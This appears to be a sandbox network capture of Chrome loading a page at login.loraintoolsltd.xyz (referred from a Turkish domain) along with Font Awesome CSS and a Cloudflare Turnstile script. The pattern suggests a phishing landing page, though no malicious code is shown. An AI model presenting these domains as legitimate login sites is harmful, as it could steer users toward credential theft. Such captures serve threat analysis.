HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:04 UTC	696	OUT	GET /FgJIoRDm HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://sahadayiz.com.tr/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:04 UTC	17	IN	HTTP/1.1 200 OK
2025-01-22 06:24:04 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:04 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-22 06:24:04 UTC	162	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 62 37 34 37 2d 36 61 36 66 3d 34 37 35 64 30 66 66 61 65 66 31 62 66 62 66 36 66 31 37 31 39 63 65 31 31 66 38 36 64 33 39 63 34 63 38 64 37 36 39 62 34 36 31 64 37 61 66 33 62 30 33 38 63 32 37 31 37 36 62 33 36 32 37 38 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6c 6f 72 61 69 6e 74 6f 6f 6c 73 6c 74 64 2e 78 79 7a 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 37 3a 32 34 3a 30 34 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; Path=/; Domain=loraintoolsltd.xyz; Expires=Wed, 22 Jan 2025 07:24:04 GMT
2025-01-22 06:24:04 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 06:24:04 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-22 06:24:04 UTC	6	IN	Data Raw: 31 33 65 37 0d 0a Data Ascii: 13e7
2025-01-22 06:24:04 UTC	5095	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 34 2f 63 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/c
2025-01-22 06:24:04 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-22 06:24:04 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-22 06:24:04 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	104.17.24.14	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:05 UTC	587	OUT	GET /ajax/libs/font-awesome/5.15.4/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:05 UTC	946	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:05 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"613fa20b-3171" Last-Modified: Mon, 13 Sep 2021 19:10:03 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 471510 Expires: Mon, 12 Jan 2026 06:24:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lvgHef%2FEF8ju2Aa5juOsJ0%2BA71UiiVsFv%2B9x6BlYmuc36Asc3Xir2GWc7wnQ7yKlEnQ8rvD8NwYp0xSM2YwiHCeBvZRek0kL5Z%2FAzfZnwvDiNnomDlfg4MEw48Cc05DFq5DG30FJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 905d7582b8fc8c2f-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:05 UTC	423	IN	Data Raw: 33 39 38 35 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 35 2e 34 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b Data Ascii: 3985/! Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 37 35 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 2d 2e 30 36 36 37 65 6d 7d 2e 66 61 2d 78 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 2e 66 61 2d 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e 66 61 2d 35 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 65 6d 7d 2e 66 61 2d 36 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 65 6d 7d 2e 66 61 2d 37 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 65 6d 7d 2e 66 61 2d 38 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 65 6d 7d 2e 66 61 2d 39 78 7b 66 6f 6e 74 Data Ascii: 75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 31 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 31 38 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 Data Ascii: soft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 39 22 7d 2e 66 61 2d 61 63 71 75 69 73 69 74 69 6f 6e 73 2d 69 6e 63 6f 72 70 6f 72 61 74 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 61 66 22 7d 2e 66 61 2d 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 31 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 39 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 62 22 7d 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 32 22 7d 2e 66 61 2d 61 64 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 30 22 7d 2e 66 61 2d 61 64 76 65 72 73 Data Ascii: {content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-advers
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 3a 22 5c 66 33 36 65 22 7d 2e 66 61 2d 61 6e 67 75 6c 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 30 22 7d 2e 66 61 2d 61 6e 6b 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 34 22 7d 2e 66 61 2d 61 70 70 2d 73 74 6f 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 66 22 7d 2e 66 61 2d 61 70 70 2d 73 74 6f 72 65 2d 69 6f 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 30 22 7d 2e 66 61 2d 61 70 70 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 31 22 7d 2e 66 61 2d 61 70 70 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 39 22 7d 2e 66 61 2d 61 70 70 6c 65 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 31 Data Ascii: :"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:"\f5d1
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 39 65 22 7d 2e 66 61 2d 61 75 74 6f 70 72 65 66 69 78 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 31 63 22 7d 2e 66 61 2d 61 76 69 61 6e 65 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 34 22 7d 2e 66 61 2d 61 76 69 61 74 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 31 22 7d 2e 66 61 2d 61 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 39 22 7d 2e 66 61 2d 61 77 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 35 22 7d 2e 66 61 2d 62 61 62 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 37 63 22 7d 2e 66 61 2d 62 61 62 79 2d 63 61 72 72 69 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a Data Ascii: {content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{content:
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 75 72 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 62 22 7d 2e 66 61 2d 62 69 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 37 22 7d 2e 66 61 2d 62 69 63 79 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 36 22 7d 2e 66 61 2d 62 69 6b 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 34 61 22 7d 2e 66 61 2d 62 69 6d 6f 62 6a 65 63 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 38 22 7d 2e 66 61 2d 62 69 6e 6f 63 75 6c 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 35 22 7d 2e 66 61 2d 62 69 6f 68 61 7a 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 38 30 22 7d 2e 66 61 2d 62 69 72 74 68 64 61 79 2d Data Ascii: urve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-birthday-
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 39 65 22 7d 2e 66 61 2d 62 6f 78 2d 74 69 73 73 75 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 35 62 22 7d 2e 66 61 2d 62 6f 78 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 36 38 22 7d 2e 66 61 2d 62 72 61 69 6c 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 61 31 22 7d 2e 66 61 2d 62 72 61 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 63 22 7d 2e 66 61 2d 62 72 65 61 64 2d 73 6c 69 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 65 63 22 7d 2e 66 61 2d 62 72 69 65 66 63 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 31 22 7d 2e 66 61 2d 62 72 69 65 66 63 61 73 65 2d 6d 65 Data Ascii: :before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefcase-me
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 3a 22 5c 66 37 38 35 22 7d 2e 66 61 2d 63 61 6e 64 79 2d 63 61 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 38 36 22 7d 2e 66 61 2d 63 61 6e 6e 61 62 69 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 66 22 7d 2e 66 61 2d 63 61 70 73 75 6c 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 36 62 22 7d 2e 66 61 2d 63 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 39 22 7d 2e 66 61 2d 63 61 72 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 65 22 7d 2e 66 61 2d 63 61 72 2d 62 61 74 74 65 72 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 66 22 7d 2e 66 61 2d 63 61 72 2d 63 72 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c Data Ascii: :"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{content:"\
2025-01-22 06:24:05 UTC	1369	IN	Data Raw: 63 30 22 7d 2e 66 61 2d 63 68 61 6c 6b 62 6f 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 62 22 7d 2e 66 61 2d 63 68 61 6c 6b 62 6f 61 72 64 2d 74 65 61 63 68 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 63 22 7d 2e 66 61 2d 63 68 61 72 67 69 6e 67 2d 73 74 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 65 37 22 7d 2e 66 61 2d 63 68 61 72 74 2d 61 72 65 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 65 22 7d 2e 66 61 2d 63 68 61 72 74 2d 62 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 30 22 7d 2e 66 61 2d 63 68 61 72 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 31 22 7d 2e 66 61 2d 63 68 61 72 74 2d Data Ascii: c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-chart-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:05 UTC	583	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:05 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 22 Jan 2025 06:24:05 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/672eb098a9f3/api.js Server: cloudflare CF-RAY: 905d7582be2e7cae-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49748	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:06 UTC	567	OUT	GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:06 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48121 Connection: close accept-ranges: bytes last-modified: Wed, 15 Jan 2025 14:50:44 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 905d75878a1a0fa5-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 7a 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function zt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,g,h;try{for(a=a.call(e);!(c=(g=a.next()).done)&&(o.push(g.value),!(t&&o.length===t));c=!0)
2025-01-22 06:24:06 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
